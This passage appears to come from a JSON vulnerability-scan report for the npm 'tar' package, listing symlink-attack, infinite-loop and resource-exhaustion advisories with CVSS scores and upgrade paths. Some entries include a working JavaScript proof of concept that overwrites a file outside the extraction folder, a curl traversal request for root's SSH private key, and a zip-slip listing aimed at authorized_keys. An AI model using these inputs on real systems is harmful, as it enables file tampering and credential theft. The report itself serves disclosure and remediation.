Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f)\n", "epssDetails": { "percentile": "0.32025", "probability": "0.00401", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-29786" ], "CWE": [ "CWE-22", "CWE-59" ], "GHSA": [ "GHSA-qffp-2rhf-9h96" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-05T07:19:20.751739Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-05T00:52:32Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-05T07:19:21.124544Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-05T02:01:10.209067Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15456201", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.11" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.2, "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.5, "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-07T02:01:07.157453Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "3.1", "modificationTime": "2026-10-07T02:01:07.157453Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.2, "cvssVersion": "3.1", "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack via `tar.x()` extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like `C:../../../target.txt`.\n## PoC\n```js\r\n\r\nconst fs = require('fs')\r\nconst path = require('path')\r\nconst { Header, x } = require('tar')\r\n\r\nconst cwd = process.cwd()\r\nconst target = path.resolve(cwd, '..', 'target.txt')\r\nconst tarFile = path.join(cwd, 'poc.tar')\r\n\r\nfs.writeFileSync(target, 'ORIGINAL\\n')\r\n\r\nconst b = Buffer.alloc(1536)\r\nnew Header({\r\n path: 'a/b/l',\r\n type: 'SymbolicLink',\r\n linkpath: 'C:../../../target.txt',\r\n}).encode(b, 0)\r\nfs.writeFileSync(tarFile, b)\r\n\r\nx({ cwd, file: tarFile }).then(() => {\r\n fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\r\n process.stdout.write(fs.readFileSync(target, 'utf8'))\r\n})\r\n```\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.11 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad)\n", "epssDetails": { "percentile": "0.07903", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-31802" ], "CWE": [ "CWE-59" ], "GHSA": [ "GHSA-9ppj-qmqm-q256" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-11T08:15:39.386368Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-10T23:44:58Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-11T08:15:39.582545Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-07T02:01:07.157453Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909068", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.18" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.18" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5", "title": "GitHub Commit" }, { "url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.18", "title": "GitHub Release" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-10T17:47:44.176563Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-10T17:47:44.176563Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Infinite loop via the `replace` method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.\n## Remediation\nUpgrade `tar` to version 7.5.18 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5)\n- [GitHub Release](https://github.com/isaacs/node-tar/releases/tag/v7.5.18)\n", "epssDetails": { "percentile": "0.35748", "probability": "0.00434", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59874" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-8x88-c5mf-7j5w" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:15:52.146477Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:45:46Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:15:52.339195Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-10T17:47:44.176563Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909152", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.19" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.19" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-10T17:47:44.170068Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-10T17:47:44.170068Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as `src/extract.ts`. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.\n## Remediation\nUpgrade `tar` to version 7.5.19 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3)\n", "epssDetails": { "percentile": "0.46183", "probability": "0.00582", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59873" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-23hp-3jrh-7fpw" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:19:53.639547Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:47:03Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:19:53.812274Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-10T17:47:44.170068Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15416075", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.10" ] }, "exploit": "Not Defined", "fixedIn": [ "7.5.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 8.6, "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 6.3, "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-05T02:01:10.209067Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-10-05T02:01:10.209067Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 8.6, "cvssVersion": "3.1", "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack exploitable via `stripAbsolutePath()`, used by the `Unpack` class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose `linkpath` uses a drive-relative path such as `C:../target.txt` in a malicious tar.\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.10 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f)\n", "epssDetails": { "percentile": "0.32025", "probability": "0.00401", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-29786" ], "CWE": [ "CWE-22", "CWE-59" ], "GHSA": [ "GHSA-qffp-2rhf-9h96" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-05T07:19:20.751739Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-05T00:52:32Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-05T07:19:21.124544Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-05T02:01:10.209067Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15456201", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.11" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.2, "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.5, "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-07T02:01:07.157453Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "3.1", "modificationTime": "2026-10-07T02:01:07.157453Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.2, "cvssVersion": "3.1", "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack via `tar.x()` extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like `C:../../../target.txt`.\n## PoC\n```js\r\n\r\nconst fs = require('fs')\r\nconst path = require('path')\r\nconst { Header, x } = require('tar')\r\n\r\nconst cwd = process.cwd()\r\nconst target = path.resolve(cwd, '..', 'target.txt')\r\nconst tarFile = path.join(cwd, 'poc.tar')\r\n\r\nfs.writeFileSync(target, 'ORIGINAL\\n')\r\n\r\nconst b = Buffer.alloc(1536)\r\nnew Header({\r\n path: 'a/b/l',\r\n type: 'SymbolicLink',\r\n linkpath: 'C:../../../target.txt',\r\n}).encode(b, 0)\r\nfs.writeFileSync(tarFile, b)\r\n\r\nx({ cwd, file: tarFile }).then(() => {\r\n fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\r\n process.stdout.write(fs.readFileSync(target, 'utf8'))\r\n})\r\n```\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.11 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad)\n", "epssDetails": { "percentile": "0.07903", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-31802" ], "CWE": [ "CWE-59" ], "GHSA": [ "GHSA-9ppj-qmqm-q256" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-11T08:15:39.386368Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-10T23:44:58Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-11T08:15:39.582545Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-07T02:01:07.157453Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909068", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.18" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.18" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5", "title": "GitHub Commit" }, { "url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.18", "title": "GitHub Release" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-10T17:47:44.176563Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-10T17:47:44.176563Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Infinite loop via the `replace` method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.\n## Remediation\nUpgrade `tar` to version 7.5.18 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5)\n- [GitHub Release](https://github.com/isaacs/node-tar/releases/tag/v7.5.18)\n", "epssDetails": { "percentile": "0.35748", "probability": "0.00434", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59874" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-8x88-c5mf-7j5w" ] }, "packageName": "tar", "proprietary": false, "creationTime": 